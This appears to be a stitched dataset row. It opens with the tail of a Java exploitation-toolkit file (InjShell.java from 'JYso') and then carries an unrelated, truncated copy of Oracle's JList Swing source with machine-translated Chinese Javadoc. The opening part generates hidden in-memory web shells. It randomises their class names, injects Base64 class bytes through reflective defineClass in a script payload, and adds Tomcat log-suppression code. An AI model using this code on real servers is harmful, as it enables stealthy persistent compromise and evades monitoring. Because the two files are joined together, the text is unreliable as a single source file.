return injectClass(WinMenshell.class);
}
if (Config.HIDE_MEMORY_SHELL) {
switch (Config.HIDE_MEMORY_SHELL_TYPE) {
case 1:
break;
case 2:
CtClass newClass = pool.get("com.qi4l.jndi.template.HideMemShellTemplate");
newClass.setName(ClassNameUtils.generateClassName());
String content = "b64=\"" + Base64.encodeBase64String(ctClass.toBytecode()) + "\";";
String className = "className=\"" + ctClass.getName() + "\";";
newClass.defrost();
newClass.makeClassInitializer().insertBefore(content);
newClass.makeClassInitializer().insertBefore(className);
if (Config.IS_INHERIT_ABSTRACT_TRANSLET) {
Class abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
CtClass superClass = pool.get(abstTranslet.getName());
newClass.setSuperclass(superClass);
}
return injectClass(newClass.getClass());
}
}
return injectClass(ctClass.getClass());
}
//类加载方式,因类而异
public static String injectClass(Class clazz) {
String classCode = null;
try {
//获取base64后的类
classCode = Util.getClassCode(clazz);
} catch (Exception e) {
e.printStackTrace();
}
return "var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('" + classCode + "');\n" +
"var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
"try{\n" +
" var clazz = classLoader.loadClass('" + clazz.getName() + "');\n" +
" clazz.newInstance();\n" +
"}catch(err){\n" +
" var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" +
" method.setAccessible(true);\n" +
" var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" +
" clazz.newInstance();\n" +
"};";
}
public static void insertTomcatNoLog(CtClass ctClass) throws Exception {
try {
ctClass.getDeclaredMethod("getFieldValue");
} catch (NotFoundException e) {
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_FIELD_VALUE), ctClass));
}
try {
ctClass.getDeclaredMethod("getMethodByClass");
} catch (NotFoundException e) {
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_BY_CLASS), ctClass));
}
try {
ctClass.getDeclaredMethod("getMethodAndInvoke");
} catch (NotFoundException e) {
if (Config.IS_OBSCURE) {
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_AND_INVOKE_OBSCURE), ctClass));
} else {
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_AND_INVOKE), ctClass));
}
}
ctClass.addMethod(CtMethod.make(Utils.base64Decode(TOMCAT_NO_LOG), ctClass));
}
} | Gary-yang1/JYso | src/main/java/com/qi4l/jndi/gadgets/utils/InjShell.java |
65,372 | /***** Lobxxx Translate Finished ******/
/*
* Copyright (c) 1997, 2013, Oracle and/or its affiliates. All rights reserved.
* ORACLE PROPRIETARY/CONFIDENTIAL. Use is subject to license terms.
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*/
package javax.swing;
import java.awt.*;
import java.awt.event.*;
import java.util.Vector;
import java.util.Locale;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import java.beans.PropertyChangeEvent;
import java.beans.PropertyChangeListener;
import java.beans.Transient;
import javax.swing.event.*;
import javax.accessibility.*;
import javax.swing.plaf.*;
import javax.swing.text.Position;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.IOException;
import java.io.Serializable;
import sun.swing.SwingUtilities2;
import sun.swing.SwingUtilities2.Section;
import static sun.swing.SwingUtilities2.Section.*;
/**
* A component that displays a list of objects and allows the user to select
* one or more items. A separate model, {@code ListModel}, maintains the
* contents of the list.
* <p>
* It's easy to display an array or Vector of objects, using the {@code JList}
* constructor that automatically builds a read-only {@code ListModel} instance
* for you:
* <pre>
* {@code
* // Create a JList that displays strings from an array
*
* String[] data = {"one", "two", "three", "four"};
* JList<String> myList = new JList<String>(data);
*
* // Create a JList that displays the superclasses of JList.class, by
* // creating it with a Vector populated with this data
*
* Vector<Class<?>> superClasses = new Vector<Class<?>>();
* Class<JList> rootClass = javax.swing.JList.class;
* for(Class<?> cls = rootClass; cls != null; cls = cls.getSuperclass()) {
* superClasses.addElement(cls);
* }
* JList<Class<?>> myList = new JList<Class<?>>(superClasses);
*
* // The automatically created model is stored in JList's "model"
* // property, which you can retrieve
*
* ListModel<Class<?>> model = myList.getModel();
* for(int i = 0; i < model.getSize(); i++) {
* System.out.println(model.getElementAt(i));
* }
* }
* </pre>
* <p>
* A {@code ListModel} can be supplied directly to a {@code JList} by way of a
* constructor or the {@code setModel} method. The contents need not be static -
* the number of items, and the values of items can change over time. A correct
* {@code ListModel} implementation notifies the set of
* {@code javax.swing.event.ListDataListener}s that have been added to it, each
* time a change occurs. These changes are characterized by a
* {@code javax.swing.event.ListDataEvent}, which identifies the range of list
* indices that have been modified, added, or removed. {@code JList}'s
* {@code ListUI} is responsible for keeping the visual representation up to
* date with changes, by listening to the model.
* <p>
* Simple, dynamic-content, {@code JList} applications can use the
* {@code DefaultListModel} class to maintain list elements. This class
* implements the {@code ListModel} interface and also provides a
* <code>java.util.Vector</code>-like API. Applications that need a more
* custom <code>ListModel</code> implementation may instead wish to subclass
* {@code AbstractListModel}, which provides basic support for managing and
* notifying listeners. For example, a read-only implementation of
* {@code AbstractListModel}:
* <pre>
* {@code
* // This list model has about 2^16 elements. Enjoy scrolling.
*
* ListModel<String> bigData = new AbstractListModel<String>() {
* public int getSize() { return Short.MAX_VALUE; }
* public String getElementAt(int index) { return "Index " + index; }
* };
* }
* </pre>
* <p>
* The selection state of a {@code JList} is managed by another separate
* model, an instance of {@code ListSelectionModel}. {@code JList} is
* initialized with a selection model on construction, and also contains
* methods to query or set this selection model. Additionally, {@code JList}
* provides convenient methods for easily managing the selection. These methods,
* such as {@code setSelectedIndex} and {@code getSelectedValue}, are cover
* methods that take care of the details of interacting with the selection
* model. By default, {@code JList}'s selection model is configured to allow any
* combination of items to be selected at a time; selection mode
* {@code MULTIPLE_INTERVAL_SELECTION}. The selection mode can be changed
* on the selection model directly, or via {@code JList}'s cover method.
* Responsibility for updating the selection model in response to user gestures
* lies with the list's {@code ListUI}.
* <p>
* A correct {@code ListSelectionModel} implementation notifies the set of
* {@code javax.swing.event.ListSelectionListener}s that have been added to it
* each time a change to the selection occurs. These changes are characterized
* by a {@code javax.swing.event.ListSelectionEvent}, which identifies the range
* of the selection change.
* <p>
* The preferred way to listen for changes in list selection is to add
* {@code ListSelectionListener}s directly to the {@code JList}. {@code JList}
* then takes care of listening to the the selection model and notifying your
* listeners of change.
* <p>
* Responsibility for listening to selection changes in order to keep the list's
* visual representation up to date lies with the list's {@code ListUI}.
* <p>
* <a name="renderer"></a>
* Painting of cells in a {@code JList} is handled by a delegate called a
* cell renderer, installed on the list as the {@code cellRenderer} property.
* The renderer provides a {@code java.awt.Component} that is used
* like a "rubber stamp" to paint the cells. Each time a cell needs to be
* painted, the list's {@code ListUI} asks the cell renderer for the component,
* moves it into place, and has it paint the contents of the cell by way of its
* {@code paint} method. A default cell renderer, which uses a {@code JLabel}
* component to render, is installed by the lists's {@code ListUI}. You can
* substitute your own renderer using code like this:
* <pre>
* {@code
* // Display an icon and a string for each object in the list.
*
* class MyCellRenderer extends JLabel implements ListCellRenderer<Object> {
* final static ImageIcon longIcon = new ImageIcon("long.gif");
* final static ImageIcon shortIcon = new ImageIcon("short.gif");
*
* // This is the only method defined by ListCellRenderer.
* // We just reconfigure the JLabel each time we're called.
*
* public Component getListCellRendererComponent(
* JList<?> list, // the list
* Object value, // value to display
* int index, // cell index
* boolean isSelected, // is the cell selected
* boolean cellHasFocus) // does the cell have focus
* {
* String s = value.toString();
* setText(s);
* setIcon((s.length() > 10) ? longIcon : shortIcon);
* if (isSelected) {
* setBackground(list.getSelectionBackground());
* setForeground(list.getSelectionForeground());
* } else {
* setBackground(list.getBackground());
* setForeground(list.getForeground());
* }
* setEnabled(list.isEnabled());
* setFont(list.getFont());
* setOpaque(true);
* return this;
* }
* }
*
* myList.setCellRenderer(new MyCellRenderer());
* }
* </pre>
* <p>
* Another job for the cell renderer is in helping to determine sizing
* information for the list. By default, the list's {@code ListUI} determines
* the size of cells by asking the cell renderer for its preferred
* size for each list item. This can be expensive for large lists of items.
* To avoid these calculations, you can set a {@code fixedCellWidth} and
* {@code fixedCellHeight} on the list, or have these values calculated
* automatically based on a single prototype value:
* <a name="prototype_example"></a>
* <pre>
* {@code
* JList<String> bigDataList = new JList<String>(bigData);
*
* // We don't want the JList implementation to compute the width
* // or height of all of the list cells, so we give it a string
* // that's as big as we'll need for any cell. It uses this to
* // compute values for the fixedCellWidth and fixedCellHeight
* // properties.
*
* bigDataList.setPrototypeCellValue("Index 1234567890");
* }
* </pre>
* <p>
* {@code JList} doesn't implement scrolling directly. To create a list that
* scrolls, make it the viewport view of a {@code JScrollPane}. For example:
* <pre>
* JScrollPane scrollPane = new JScrollPane(myList);
*
* // Or in two steps:
* JScrollPane scrollPane = new JScrollPane();
* scrollPane.getViewport().setView(myList);
* </pre>
* <p>
* {@code JList} doesn't provide any special handling of double or triple
* (or N) mouse clicks, but it's easy to add a {@code MouseListener} if you
* wish to take action on these events. Use the {@code locationToIndex}
* method to determine what cell was clicked. For example:
* <pre>
* MouseListener mouseListener = new MouseAdapter() {
* public void mouseClicked(MouseEvent e) {
* if (e.getClickCount() == 2) {
* int index = list.locationToIndex(e.getPoint());
* System.out.println("Double clicked on Item " + index);
* }
* }
* };
* list.addMouseListener(mouseListener);
* </pre>
* <p>
* <strong>Warning:</strong> Swing is not thread safe. For more
* information see <a
* href="package-summary.html#threading">Swing's Threading
* Policy</a>.
* <p>
* <strong>Warning:</strong>
* Serialized objects of this class will not be compatible with
* future Swing releases. The current serialization support is
* appropriate for short term storage or RMI between applications running
* the same version of Swing. As of 1.4, support for long term storage
* of all JavaBeans™
* has been added to the <code>java.beans</code> package.
* Please see {@link java.beans.XMLEncoder}.
* <p>
* See <a href="https://docs.oracle.com/javase/tutorial/uiswing/components/list.html">How to Use Lists</a>
* in <a href="https://docs.oracle.com/javase/tutorial/"><em>The Java Tutorial</em></a>
* for further documentation.
* <p>
* <p>
* 显示对象列表并允许用户选择一个或多个项的组件。单独的模型{@code ListModel}维护列表的内容。
* <p>
* 使用{@code JList}构造函数可以轻松地显示对象的数组或Vector,该构造函数会为您自动构建只读{@code ListModel}实例:
* <pre>
* {@code //创建一个显示字符串数组的JList
*
* String [] data = {"one","two","three","four"}; JList <String> myList = new JList <String>(data);
*
* //创建一个JList,显示JList.class的超类,//创建一个填充了这些数据的Vector
*
* 向量<Class <?>> superClasses = new Vector <Class <?>>(); class <JList> rootClass = javax.swing.JList.c
* lass; for(Class <?> cls = rootClass; cls!= null; cls = cls.getSuperclass()){superClasses.addElement(cls); }
* JList <Class <?>> myList = new JList <Class <?>>(superClasses);。
*
* //自动创建的模型存储在JList的"model"//属性中,您可以检索它
*
* ListModel <Class <?>> model = myList.getModel(); for(int i = 0; i <model.getSize(); i ++){System.out.println(model.getElementAt(i)); }}。
* </pre>
* <p>
* 可以通过构造函数或{@code setModel}方法将{@code ListModel}直接提供给{@code JList}。内容不需要是静态的 - 项目的数量,并且项目的值可以随时间改变。
* 正确的{@code ListModel}实现通知每次发生更改时已添加到其中的{@code javax.swing.event.ListDataListener}的集合。
* 这些更改的特点是{@code javax.swing.event.ListDataEvent},它标识已修改,添加或删除的列表索引的范围。
* {@code JList}的{@code ListUI}负责通过监听模型来保持视觉表示的最新更改。
* <p>
* 简单的动态内容{@code JList}应用程序可以使用{@code DefaultListModel}类来维护列表元素。
* 这个类实现了{@code ListModel}接口,并且还提供了一个<code> java.util.Vector </code>类API。
* 需要更多自定义<code> ListModel </code>实现的应用程序可能希望将{@code AbstractListModel}子类化,这为管理和通知侦听器提供了基本支持。
* 例如,{@code AbstractListModel}的只读实现:。
* <pre>
* {@code //这个列表模型有大约2 ^ 16个元素。享受滚动。
*
* ListModel <String> bigData = new AbstractListModel <String>(){public int getSize(){return Short.MAX_VALUE; }
* public String getElementAt(int index){return"Index"+ index; }}; }}。
* </pre>
* <p>
* {@code JList}的选择状态由另一个单独的模型({@code ListSelectionModel})的实例管理。
* {@code JList}使用构造上的选择模型初始化,并且还包含查询或设置此选择模型的方法。此外,{@code JList}提供了方便的方法来轻松管理选择。
* 这些方法(例如{@code setSelectedIndex}和{@code getSelectedValue})是处理与选择模型交互的详细信息的覆盖方法。
* 默认情况下,{@code JList}的选择模型配置为允许一次选择项目的任意组合;选择模式{@code MULTIPLE_INTERVAL_SELECTION}。
* 可以直接在选择模型上或通过{@code JList}的覆盖方法更改选择模式。响应用户手势更新选择模型的责任在于列表的{@code ListUI}。
* <p>
* 正确的{@code ListSelectionModel}实现通知每次对选择进行更改时添加到其中的{@code javax.swing.event.ListSelectionListener}的集合。
* 这些更改的特点是{@code javax.swing.event.ListSelectionEvent},它标识选择更改的范围。
* <p>
* 监听列表选择中的更改的首选方法是将{@code ListSelectionListener}直接添加到{@code JList}。
* {@code JList}然后负责监听选择模型并通知你的监听器有变化。
* <p>
* 负责收听选择更改,以保持列表的视觉表示更新列表的{@code ListUI}。
* <p>
* <a name="renderer"> </a> {@code JList}中的单元格绘画由称为单元格渲染器的委托处理,作为{@code cellRenderer}属性安装在列表中。
* 渲染器提供了一个{@code java.awt.Component},它像"橡皮图章"一样用于绘制单元格。
* 每次需要绘制单元格时,列表的{@code ListUI}会询问单元格渲染器的组件,将其移动到位,并通过其{@code paint}方法绘制单元格的内容。
* 默认单元格渲染器使用{@code JLabel}组件进行渲染,由列表的{@code ListUI}安装。你可以使用如下代码替换自己的渲染器:。
* <pre>
* {@code //显示列表中每个对象的图标和字符串。
*
* class MyCellRenderer extends JLabel implements ListCellRenderer <Object> {final static ImageIcon longIcon = new ImageIcon("long.gif"); final static ImageIcon shortIcon = new ImageIcon("short.gif");。
*
* //这是由ListCellRenderer定义的唯一方法。 //我们每次调用时都重新配置JLabel。
*
* public Component getListCellRendererComponent(JList <list> list,//列表Object值,//显示的值int index,// cell i
* ndex boolean isSelected,// is cell selected boolean cellHasFocus)//单元格有焦点{String s = value.toString(); setText(s); setIcon((s.length()> 10)?longIcon:shortIcon); if(isSelected){setBackground(list.getSelectionBackground()); setForeground(list.getSelectionForeground()); }
* else {setBackground(list.getBackground()); setForeground(list.getForeground()); } setEnabled(list.is
* Enabled()); setFont(list.getFont()); setOpaque(true);返回这个; }}。
*
* myList.setCellRenderer(new MyCellRenderer()); }}
* </pre>
* <p>
* 单元格渲染器的另一个工作是帮助确定列表的大小信息。默认情况下,列表的{@code ListUI}通过询问单元格渲染器的每个列表项的首选大小来确定单元格的大小。这对于大的项目列表可能是昂贵的。
* 要避免这些计算,您可以在列表上设置{@code fixedCellWidth}和{@code fixedCellHeight},或根据单个原型值自动计算这些值:<a name="prototype_example">
* </a>。
* 单元格渲染器的另一个工作是帮助确定列表的大小信息。默认情况下,列表的{@code ListUI}通过询问单元格渲染器的每个列表项的首选大小来确定单元格的大小。这对于大的项目列表可能是昂贵的。
* <pre>
* {@code JList <String> bigDataList = new JList <String>(bigData);
*
* //我们不希望JList实现计算所有列表单元格的宽度//或高度,因此我们给它一个字符串//,它和我们需要的任何单元格一样大。
* 它使用这个来计算fixedCellWidth和fixedCellHeight //属性的值。
*
* bigDataList.setPrototypeCellValue("Index 1234567890"); }}
* </pre>
* <p>
* {@code JList}不实现直接滚动。要创建滚动的列表,请将其视为{@code JScrollPane}的视口视图。例如:
* <pre>
* JScrollPane scrollPane = new JScrollPane(myList);
*
* //或在两个步骤:JScrollPane scrollPane = new JScrollPane(); scrollPane.getViewport()。setView(myList);
* </pre>
* <p>
* {@code JList}不提供任何特殊的双重或三重(或N)鼠标点击处理,但如果您希望对这些事件采取行动,则可以轻松添加{@code MouseListener}。
* 使用{@code locationToIndex}方法来确定单击哪个单元格。例如:。
* <pre>
* MouseListener mouseListener = new MouseAdapter(){public void mouseClicked(MouseEvent e){if(e.getClickCount()== 2){int index = list.locationToIndex(e.getPoint()); System.out.println("双击项目"+索引); }
* }}; list.addMouseListener(mouseListener);。
* </pre>
* <p>
* <strong>警告:</strong> Swing不是线程安全的。有关详情,请参阅<a href="package-summary.html#threading"> Swing的线程策略</a>。
* <p>
* <strong>警告:</strong>此类的序列化对象将与以后的Swing版本不兼容。当前的序列化支持适用于运行相同版本的Swing的应用程序之间的短期存储或RMI。
* 1.4以上,支持所有JavaBean和贸易的长期存储;已添加到<code> java.beans </code>包中。请参阅{@link java.beans.XMLEncoder}。
* <p>
* 请参阅<a href ="https://docs.oracle中的<a href="https://docs.oracle.com/javase/tutorial/uiswing/components/list.html">
* 如何使用列表</a> .com / javase / tutorial /"> <em> Java教程</em> </a>。
* <p>
*
* @see ListModel
* @see AbstractListModel
* @see DefaultListModel
* @see ListSelectionModel
* @see DefaultListSelectionModel
* @see ListCellRenderer
* @see DefaultListCellRenderer
*
* @param <E> the type of the elements of this list
*
* @beaninfo
* attribute: isContainer false
* description: A component which allows for the selection of one or more objects from a list.
*
* @author Hans Muller
*/
public class JList<E> extends JComponent implements Scrollable, Accessible
{
/**
/* <p>
/*
* @see #getUIClassID
* @see #readObject
*/
private static final String uiClassID = "ListUI";
/**
* Indicates a vertical layout of cells, in a single column;
* the default layout.
* <p>
* 表示单个列的垂直布局;默认布局。
*
*
* @see #setLayoutOrientation
* @since 1.4
*/
public static final int VERTICAL = 0;
/**
* Indicates a "newspaper style" layout with cells flowing vertically
* then horizontally.
* <p>
* 表示"报纸样式"布局,单元格垂直然后水平。
*
*
* @see #setLayoutOrientation
* @since 1.4
*/
public static final int VERTICAL_WRAP = 1;
/**
* Indicates a "newspaper style" layout with cells flowing horizontally
* then vertically.
* <p>
* 表示"报纸样式"布局,单元格水平然后垂直。
*
*
* @see #setLayoutOrientation
* @since 1.4
*/
public static final int HORIZONTAL_WRAP = 2;
private int fixedCellWidth = -1;
private int fixedCellHeight = -1;
private int horizontalScrollIncrement = -1;
private E prototypeCellValue;
private int visibleRowCount = 8;
private Color selectionForeground;
private Color selectionBackground;
private boolean dragEnabled;
private ListSelectionModel selectionModel;
private ListModel<E> dataModel;
private ListCellRenderer<? super E> cellRenderer;
private ListSelectionListener selectionListener;
/**
* How to lay out the cells; defaults to <code>VERTICAL</code>.
* <p>
* 如何铺设细胞;默认为<code> VERTICAL </code>。
*
*/
private int layoutOrientation;
/**
* The drop mode for this component.
* <p>
* 此组件的放置模式。
*
*/
private DropMode dropMode = DropMode.USE_SELECTION;
/**
* The drop location.
* <p>
* 放置位置。
*
*/
private transient DropLocation dropLocation;
/**
* A subclass of <code>TransferHandler.DropLocation</code> representing
* a drop location for a <code>JList</code>.
*
* <p>
* <code> TransferHandler.DropLocation </code>的子类,表示<code> JList </code>的放置位置。
*
*
* @see #getDropLocation
* @since 1.6
*/
public static final class DropLocation extends TransferHandler.DropLocation {
private final int index;
private final boolean isInsert;
private DropLocation(Point p, int index, boolean isInsert) {
super(p);
this.index = index;
this.isInsert = isInsert;
}
/**
* Returns the index where dropped data should be placed in the
* list. Interpretation of the value depends on the drop mode set on
* the associated component. If the drop mode is either
* <code>DropMode.USE_SELECTION</code> or <code>DropMode.ON</code>,
* the return value is an index of a row in the list. If the drop mode is
* <code>DropMode.INSERT</code>, the return value refers to the index
* where the data should be inserted. If the drop mode is
* <code>DropMode.ON_OR_INSERT</code>, the value of
* <code>isInsert()</code> indicates whether the index is an index
* of a row, or an insert index.
* <p>
* <code>-1</code> indicates that the drop occurred over empty space,
* and no index could be calculated.
*
* <p>
* 返回应将丢弃数据放在列表中的索引。值的解释取决于在相关组件上设置的下降模式。
* 如果删除模式是<code> DropMode.USE_SELECTION </code>或<code> DropMode.ON </code>,则返回值是列表中某一行的索引。
* 如果删除模式为<code> DropMode.INSERT </code>,则返回值指的是应插入数据的索引。
* 如果删除模式是<code> DropMode.ON_OR_INSERT </code>,则<code> isInsert()</code>的值指示索引是行的索引还是插入索引。
* <p>
* <code> -1 </code>表示删除发生在空白空间上,并且不能计算索引。
*
*
* @return the drop index
*/
public int getIndex() {
return index;
}
/**
* Returns whether or not this location represents an insert
* location.
*
* <p>
* 返回此位置是否表示插入位置。
*
*
* @return whether or not this is an insert location
*/
public boolean isInsert() {
return isInsert;
}
/**
* Returns a string representation of this drop location.
* This method is intended to be used for debugging purposes,
* and the content and format of the returned string may vary
* between implementations.
*
* <p>
* 返回此放置位置的字符串表示形式。此方法旨在用于调试目的,并且返回的字符串的内容和格式可能因实现而异。
*
*
* @return a string representation of this drop location
*/
public String toString() {
return getClass().getName()
+ "[dropPoint=" + getDropPoint() + ","
+ "index=" + index + ","
+ "insert=" + isInsert + "]";
}
}
/**
* Constructs a {@code JList} that displays elements from the specified,
* {@code non-null}, model. All {@code JList} constructors delegate to
* this one.
* <p>
* This constructor registers the list with the {@code ToolTipManager},
* allowing for tooltips to be provided by the cell renderers.
*
* <p>
* 构造{@code JList},显示指定的{@code非空}模型中的元素。所有{@code JList}构造函数委托给这一个。
* <p>
* 这个构造函数使用{@code ToolTipManager}注册列表,允许单元格渲染器提供工具提示。
*
*
* @param dataModel the model for the list
* @exception IllegalArgumentException if the model is {@code null}
*/
public JList(ListModel<E> dataModel)
{
if (dataModel == null) {
throw new IllegalArgumentException("dataModel must be non null");
}
// Register with the ToolTipManager so that tooltips from the
// renderer show through.
ToolTipManager toolTipManager = ToolTipManager.sharedInstance();
toolTipManager.registerComponent(this);
layoutOrientation = VERTICAL;
this.dataModel = dataModel;
selectionModel = createSelectionModel();
setAutoscrolls(true);
setOpaque(true);
updateUI();
}
/**
* Constructs a <code>JList</code> that displays the elements in
* the specified array. This constructor creates a read-only model
* for the given array, and then delegates to the constructor that
* takes a {@code ListModel}.
* <p>
* Attempts to pass a {@code null} value to this method results in
* undefined behavior and, most likely, exceptions. The created model
* references the given array directly. Attempts to modify the array
* after constructing the list results in undefined behavior.
*
* <p>
* 构造一个显示指定数组中的元素的<code> JList </code>。这个构造函数为给定的数组创建一个只读模型,然后委托给一个{@code ListModel}的构造函数。
* <p>
* 尝试向此方法传递{@code null}值会导致未定义的行为,并且很可能会出现异常。创建的模型直接引用给定的数组。在构造列表之后尝试修改数组会导致未定义的行为。
*
*
* @param listData the array of Objects to be loaded into the data model,
* {@code non-null}
*/
public JList(final E[] listData)
{
this (
new AbstractListModel<E>() {
public int getSize() { return listData.length; }
public E getElementAt(int i) { return listData[i]; }
}
);
}
/**
* Constructs a <code>JList</code> that displays the elements in
* the specified <code>Vector</code>. This constructor creates a read-only
* model for the given {@code Vector}, and then delegates to the constructor
* that takes a {@code ListModel}.
* <p>
* Attempts to pass a {@code null} value to this method results in
* undefined behavior and, most likely, exceptions. The created model
* references the given {@code Vector} directly. Attempts to modify the
* {@code Vector} after constructing the list results in undefined behavior.
*
* <p>
* 构造一个显示指定的<code> Vector </code>中的元素的<code> JList </code>。
* 这个构造函数为给定的{@code Vector}创建一个只读模型,然后委托给一个{@code ListModel}的构造函数。
* <p>
* 尝试向此方法传递{@code null}值会导致未定义的行为,并且很可能会出现异常。创建的模型直接引用给定的{@code Vector}。
* 尝试在构造列表后修改{@code Vector}会导致未定义的行为。
*
*
* @param listData the <code>Vector</code> to be loaded into the
* data model, {@code non-null}
*/
public JList(final Vector<? extends E> listData) {
this (
new AbstractListModel<E>() {
public int getSize() { return listData.size(); }
public E getElementAt(int i) { return listData.elementAt(i); }
}
);
}
/**
* Constructs a <code>JList</code> with an empty, read-only, model.
* <p>
* 用一个空的,只读的模型构造一个<code> JList </code>。
*
*/
public JList() {
this (
new AbstractListModel<E>() {
public int getSize() { return 0; }
public E getElementAt(int i) { throw new IndexOutOfBoundsException("No Data Model"); }
}
);
}
/**
* Returns the {@code ListUI}, the look and feel object that
* renders this component.
*
* <p>
* 返回{@code ListUI},呈现此组件的外观对象。
*
*
* @return the <code>ListUI</code> object that renders this component
*/
public ListUI getUI() {
return (ListUI)ui;
}
/**
* Sets the {@code ListUI}, the look and feel object that
* renders this component.
*
* <p>
* 设置{@code ListUI},呈现此组件的外观对象。
*
*
* @param ui the <code>ListUI</code> object
* @see UIDefaults#getUI
* @beaninfo
* bound: true
* hidden: true
* attribute: visualUpdate true
* description: The UI object that implements the Component's LookAndFeel.
*/
public void setUI(ListUI ui) {
super.setUI(ui);
}
/**
* Resets the {@code ListUI} property by setting it to the value provided
* by the current look and feel. If the current cell renderer was installed
* by the developer (rather than the look and feel itself), this also causes
* the cell renderer and its children to be updated, by calling
* {@code SwingUtilities.updateComponentTreeUI} on it.
*
* <p>
* 通过将{@code ListUI}属性设置为当前外观提供的值来重置该属性。
* 如果当前单元格渲染器是由开发人员安装的(而不是外观和感觉本身),这也通过调用{@code SwingUtilities.updateComponentTreeUI}来更新单元格渲染器及其子节点。
*
*
* @see UIManager#getUI
* @see SwingUtilities#updateComponentTreeUI
*/
public void updateUI() {
setUI((ListUI)UIManager.getUI(this));
ListCellRenderer<? super E> renderer = getCellRenderer();
if (renderer instanceof Component) {
SwingUtilities.updateComponentTreeUI((Component)renderer);
}
}
/**
* Returns {@code "ListUI"}, the <code>UIDefaults</code> key used to look
* up the name of the {@code javax.swing.plaf.ListUI} class that defines
* the look and feel for this component.
*
* <p>
* 返回{@code"ListUI"},用于查找定义此组件的外观的{@code javax.swing.plaf.ListUI}类的名称的<code> UIDefaults </code>键。
*
*
* @return the string "ListUI"
* @see JComponent#getUIClassID
* @see UIDefaults#getUI
*/
public String getUIClassID() {
return uiClassID;
}
/* -----private-----
* This method is called by setPrototypeCellValue and setCellRenderer
* to update the fixedCellWidth and fixedCellHeight properties from the
* current value of prototypeCellValue (if it's non null).
* <p>
* This method sets fixedCellWidth and fixedCellHeight but does <b>not</b>
* generate PropertyChangeEvents for them.
*
* <p>
* 此方法由setPrototypeCellValue和setCellRenderer调用,以从prototypeCellValue的当前值(如果它不为null)更新fixedCellWidth和fixe
* dCellHeight属性。
* <p>
* 此方法设置fixedCellWidth和fixedCellHeight,但<b>不</b>为它们生成PropertyChangeEvents。
*
*
* @see #setPrototypeCellValue
* @see #setCellRenderer
*/
private void updateFixedCellSize()
{
ListCellRenderer<? super E> cr = getCellRenderer();
E value = getPrototypeCellValue();
if ((cr != null) && (value != null)) {
Component c = cr.getListCellRendererComponent(this, value, 0, false, false);
/* The ListUI implementation will add Component c to its private
* CellRendererPane however we can't assume that's already
* been done here. So we temporarily set the one "inherited"
* property that may affect the renderer components preferred size:
* its font.
* <p>
* CellRendererPane然而我们不能假设已经在这里完成。所以我们临时设置一个"继承"属性,可能影响渲染器组件首选大小:它的字体。
*
*/
Font f = c.getFont();
c.setFont(getFont());
Dimension d = c.getPreferredSize();
fixedCellWidth = d.width;
fixedCellHeight = d.height;
c.setFont(f);
}
}
/**
* Returns the "prototypical" cell value -- a value used to calculate a
* fixed width and height for cells. This can be {@code null} if there
* is no such value.
*
* <p>
* 返回"原型"单元格值 - 用于计算单元格的固定宽度和高度的值。如果没有这样的值,这可以是{@code null}。
*
*
* @return the value of the {@code prototypeCellValue} property
* @see #setPrototypeCellValue
*/
public E getPrototypeCellValue() {
return prototypeCellValue;
}
/**
* Sets the {@code prototypeCellValue} property, and then (if the new value
* is {@code non-null}), computes the {@code fixedCellWidth} and
* {@code fixedCellHeight} properties by requesting the cell renderer
* component for the given value (and index 0) from the cell renderer, and
* using that component's preferred size.
* <p>
* This method is useful when the list is too long to allow the
* {@code ListUI} to compute the width/height of each cell, and there is a
* single cell value that is known to occupy as much space as any of the
* others, a so-called prototype.
* <p>
* While all three of the {@code prototypeCellValue},
* {@code fixedCellHeight}, and {@code fixedCellWidth} properties may be
* modified by this method, {@code PropertyChangeEvent} notifications are
* only sent when the {@code prototypeCellValue} property changes.
* <p>
* To see an example which sets this property, see the
* <a href="#prototype_example">class description</a> above.
* <p>
* The default value of this property is <code>null</code>.
* <p>
* This is a JavaBeans bound property.
*
* <p>
* 设置{@code prototypeCellValue}属性,然后(如果新值为{@code non-null}),通过请求单元格渲染器组件为给定值计算{@code fixedCellWidth}和{@code fixedCellHeight}
* 属性(和索引0)从单元格渲染器,并使用该组件的首选大小。
* <p>
* 当列表太长而不允许{@code ListUI}计算每个单元格的宽度/高度,并且已知单个单元格值占用与其他任何单元格相同的空间时,此方法很有用。所谓的原型。
* <p>
* 虽然可以通过此方法修改{@code prototypeCellValue},{@code fixedCellHeight}和{@code fixedCellWidth}属性中的所有三个,但仅当{@code prototypeCellValue}
* 属性更改时才会发送{@code PropertyChangeEvent}通知。
* <p>
* 要查看设置此属性的示例,请参见上面的<a href="#prototype_example">类说明</a>。
* <p>
* 此属性的默认值为<code> null </code>。
* <p>
* 这是一个JavaBeans绑定属性。
*
*
* @param prototypeCellValue the value on which to base
* <code>fixedCellWidth</code> and
* <code>fixedCellHeight</code>
* @see #getPrototypeCellValue
* @see #setFixedCellWidth
* @see #setFixedCellHeight
* @see JComponent#addPropertyChangeListener
* @beaninfo
* bound: true
* attribute: visualUpdate true
* description: The cell prototype value, used to compute cell width and height.
*/
public void setPrototypeCellValue(E prototypeCellValue) {
E oldValue = this.prototypeCellValue;
this.prototypeCellValue = prototypeCellValue;
/* If the prototypeCellValue has changed and is non-null,
* then recompute fixedCellWidth and fixedCellHeight.
* <p>
* 然后重新计算fixedCellWidth和fixedCellHeight。
*
*/
if ((prototypeCellValue != null) && !prototypeCellValue.equals(oldValue)) {
updateFixedCellSize();
}
firePropertyChange("prototypeCellValue", oldValue, prototypeCellValue);
}
/**
* Returns the value of the {@code fixedCellWidth} property.
*
* <p>
* 返回{@code fixedCellWidth}属性的值。
*
*
* @return the fixed cell width
* @see #setFixedCellWidth
*/
public int getFixedCellWidth() {
return fixedCellWidth;
}
/**
* Sets a fixed value to be used for the width of every cell in the list.
* If {@code width} is -1, cell widths are computed in the {@code ListUI}
